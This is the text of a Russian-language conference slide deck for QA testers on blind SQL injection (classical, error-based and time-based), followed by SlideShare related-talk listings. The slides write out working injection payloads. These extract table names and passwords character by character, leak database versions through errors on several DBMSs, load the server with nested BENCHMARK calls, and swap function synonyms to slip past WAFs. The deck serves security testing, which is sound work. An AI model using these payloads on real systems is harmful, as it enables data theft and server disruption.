SlideShare a Scribd company logo
1 of 20
Слепые SQL инъекции.
Игорь Бондаренко. Neklo.
Цикл докладов
1/18
1. Тестирование защищенности веб-приложений
http://sqadays.com/ru/talk/11187
2. Тестирование программных фильтров
безопасности
http://sqadays.com/ru/talk/11128
Архитектура уязвимости
BlindSQLInjection
Classical Injection
Error Based Injection
Double Blind Injection
2/18
Условия возникновения
уязвимости
• Результат выполнения внедренного запроса не отображается
среди данных доступных пользователю
• Внедренный запрос попадает в несколько разных запросов,
осуществляющих выборку из таблиц с различным числом
столбцов
• Используется фильтрация склеивания запросов
3/18
Classical Injection
Вывод информации на экран: Невозможен
Способ обнаружения: Посимвольный перебор
site.com/index.php?id=2
Select title, page
From Pages
Where Pages.id = 2;
4/18
Обнаружение уязвимости
site.com/index.php?id=2’ AND ‘1’ = ‘1’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=1;
site.com/index.php?id=2’ AND ‘1’=‘2’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=2;
5/18
Эксплуатация уязвимости
site.com/index.php?id=2’ AND USER_NAME() =
‘Admin‘
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name
FROM sysobjects WHERE xtype='U'), 1, 1))) >
109
6/18
Кому это нужно?
7/18
Тестирование
1. Проверка корректной обработки истинных и ложных
запросов
2. Проверка со значениями подобранными для
существующих пользователей и имен таблиц
8/18
Error Based Injection
Вывод информации на экран: В сообщениях об
ошибках
Способ обнаружения: Использование готовых техник
для конкретных баз данных
9/18
Способ обнаружения
site.com/index.php?id=2’ OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет
ошибку:
Duplicate entry '5.0.45' for key 1
10/18
Запросы для других баз
данных
• PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)—
• MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
11/18
Тестирование
1. Определение версии и типа поддерживаемой БД
2. Использование готовых эксплоитов для
определенной БД
12/18
Double Blind Injections
Вывод информации на экран: Отсутствует
Способ обнаружения: Посимвольный перебор с
использованием временных задержек
13/18
Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name FROM
sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1,
BENCHMARK(2999999,MD5(NOW())))
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
14/18
Техники эксплуатации
Использование логических запросов AND и OR
• /?id=2+OR+0x50=0x50
• /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
1,1)))=74
Использование функций синонимов для WAF
• substring((select 'password'),1,1) = 0x70
• substr((select 'password'),1,1) = 0x70
• mid((select 'password'),1,1) = 0x70
• strcmp(left('password',1), 0x69) = 1
• strcmp(left('password',1), 0x70) = 0
• strcmp(left('password',1), 0x71) = -1
15/18
Тестирование
1.Проверка отсутствия временных задержек
при выполнении истинных и ложных запросов
2.Подбор приемлемого времени отклика
3.Проверка со значениями подобранными для
существующих пользователей и имен таблиц
16/18
Программы для поиска
уязвимостей
1. SQLMap
2. Blind SQL Injector Tool
3. WebInspect
17/18
Заключение
1.Проверки слепых инъекций значительно
повысят качество ваших тестов
2.Тесты быстрые и простые
3.Тесты можно не проводить вручную
18/18
Вопросы
Email: bondarenko.ihar@yandex.ru
Skype: igor.bondarenko1

More Related Content

Viewers also liked

Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
Decouple Your Code For Reusability (International PHP Conference / IPC 2008)Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
Fabien Potencier
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
Positive Hack Days
 

Viewers also liked (20)

Контроль качества и сопровождение программ в реальном времени
Контроль качества и сопровождение программ в реальном времениКонтроль качества и сопровождение программ в реальном времени
Контроль качества и сопровождение программ в реальном времени
 
Тестируем графику силами Art QА
Тестируем графику силами Art QАТестируем графику силами Art QА
Тестируем графику силами Art QА
 
Dependency Injection Pattern in JavaScript, Speakers' Corner by Evgeny Dmitri...
Dependency Injection Pattern in JavaScript, Speakers' Corner by Evgeny Dmitri...Dependency Injection Pattern in JavaScript, Speakers' Corner by Evgeny Dmitri...
Dependency Injection Pattern in JavaScript, Speakers' Corner by Evgeny Dmitri...
 
Инструменты автоматизации тестирования - дефективные
Инструменты автоматизации тестирования - дефективныеИнструменты автоматизации тестирования - дефективные
Инструменты автоматизации тестирования - дефективные
 
SerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerValSerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerVal
 
Сергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от EsetСергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от Eset
 
6.2. Hacking most popular websites
6.2. Hacking most popular websites6.2. Hacking most popular websites
6.2. Hacking most popular websites
 
Ловушки восприятия в тестировании
Ловушки восприятия в тестированииЛовушки восприятия в тестировании
Ловушки восприятия в тестировании
 
Функциональное тестирование - тестируем функционально
Функциональное тестирование - тестируем функциональноФункциональное тестирование - тестируем функционально
Функциональное тестирование - тестируем функционально
 
Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
Decouple Your Code For Reusability (International PHP Conference / IPC 2008)Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
Decouple Your Code For Reusability (International PHP Conference / IPC 2008)
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
 
4.3. Rat races conditions
4.3. Rat races conditions4.3. Rat races conditions
4.3. Rat races conditions
 
анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестирования
 
Коммуникации в тестировании
Коммуникации в тестированииКоммуникации в тестировании
Коммуникации в тестировании
 
Dependency Injection in PHP
Dependency Injection in PHPDependency Injection in PHP
Dependency Injection in PHP
 
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
 
Тестовые оракулы на основе концепции EI/EQ (эмоционального интеллекта)
Тестовые оракулы на основе концепции EI/EQ (эмоционального интеллекта)Тестовые оракулы на основе концепции EI/EQ (эмоционального интеллекта)
Тестовые оракулы на основе концепции EI/EQ (эмоционального интеллекта)
 
Непрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQubeНепрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQube
 
Визуализация покрытия автоматизированными UI тестами
Визуализация покрытия автоматизированными UI тестамиВизуализация покрытия автоматизированными UI тестами
Визуализация покрытия автоматизированными UI тестами
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?
 

More from SQALab

More from SQALab (20)

Готовим стажировку
Готовим стажировкуГотовим стажировку
Готовим стажировку
 
Куда приводят мечты? или Искусство развития тестировщика
Куда приводят мечты? или Искусство развития тестировщикаКуда приводят мечты? или Искусство развития тестировщика
Куда приводят мечты? или Искусство развития тестировщика
 
Оптимизация Selenium тестов и ускорение их поддержки
Оптимизация Selenium тестов и ускорение их поддержкиОптимизация Selenium тестов и ускорение их поддержки
Оптимизация Selenium тестов и ускорение их поддержки
 
Автоматизация 0.0: 0 - бюджет, 0 - опыт программирования
Автоматизация 0.0: 0 - бюджет, 0 - опыт программированияАвтоматизация 0.0: 0 - бюджет, 0 - опыт программирования
Автоматизация 0.0: 0 - бюджет, 0 - опыт программирования
 
Нагрузочное тестирование нестандартных протоколов с использованием Citrix и J...
Нагрузочное тестирование нестандартных протоколов с использованием Citrix и J...Нагрузочное тестирование нестандартных протоколов с использованием Citrix и J...
Нагрузочное тестирование нестандартных протоколов с использованием Citrix и J...
 
Continuous performance testing
Continuous performance testingContinuous performance testing
Continuous performance testing
 
Конфиги вместо костылей. Pytestconfig и зачем он нужен
Конфиги вместо костылей. Pytestconfig и зачем он нуженКонфиги вместо костылей. Pytestconfig и зачем он нужен
Конфиги вместо костылей. Pytestconfig и зачем он нужен
 
Команда чемпионов в ИТ стихии
Команда чемпионов в ИТ стихииКоманда чемпионов в ИТ стихии
Команда чемпионов в ИТ стихии
 
API. Серебряная пуля в магазине советов
API. Серебряная пуля в магазине советовAPI. Серебряная пуля в магазине советов
API. Серебряная пуля в магазине советов
 
Добиваемся эффективности каждого из 9000+ UI-тестов
Добиваемся эффективности каждого из 9000+ UI-тестовДобиваемся эффективности каждого из 9000+ UI-тестов
Добиваемся эффективности каждого из 9000+ UI-тестов
 
Делаем автоматизацию проектных KPIs
Делаем автоматизацию проектных KPIsДелаем автоматизацию проектных KPIs
Делаем автоматизацию проектных KPIs
 
Вредные привычки в тест-менеджменте
Вредные привычки в тест-менеджментеВредные привычки в тест-менеджменте
Вредные привычки в тест-менеджменте
 
Мощь переполняет с JDI 2.0 - новая эра UI автоматизации
Мощь переполняет с JDI 2.0 - новая эра UI автоматизацииМощь переполняет с JDI 2.0 - новая эра UI автоматизации
Мощь переполняет с JDI 2.0 - новая эра UI автоматизации
 
Как hh.ru дошли до 500 релизов в квартал без потери в качестве
Как hh.ru дошли до 500 релизов в квартал без потери в качествеКак hh.ru дошли до 500 релизов в квартал без потери в качестве
Как hh.ru дошли до 500 релизов в квартал без потери в качестве
 
Стили лидерства и тестирование
Стили лидерства и тестированиеСтили лидерства и тестирование
Стили лидерства и тестирование
 
"Давайте не будем про качество"
"Давайте не будем про качество""Давайте не будем про качество"
"Давайте не будем про качество"
 
Apache.JMeter для .NET-проектов
Apache.JMeter для .NET-проектовApache.JMeter для .NET-проектов
Apache.JMeter для .NET-проектов
 
Тестирование геолокационных систем
Тестирование геолокационных системТестирование геолокационных систем
Тестирование геолокационных систем
 
Лидер или босс? Вот в чем вопрос
Лидер или босс? Вот в чем вопросЛидер или босс? Вот в чем вопрос
Лидер или босс? Вот в чем вопрос
 
От Зефира в коробке к Structure Zephyr или как тест-менеджеру перекроить внут...
От Зефира в коробке к Structure Zephyr или как тест-менеджеру перекроить внут...От Зефира в коробке к Structure Zephyr или как тест-менеджеру перекроить внут...
От Зефира в коробке к Structure Zephyr или как тест-менеджеру перекроить внут...
 

Слепые SQL инъекции. Достаточно ли хороши ваши тесты?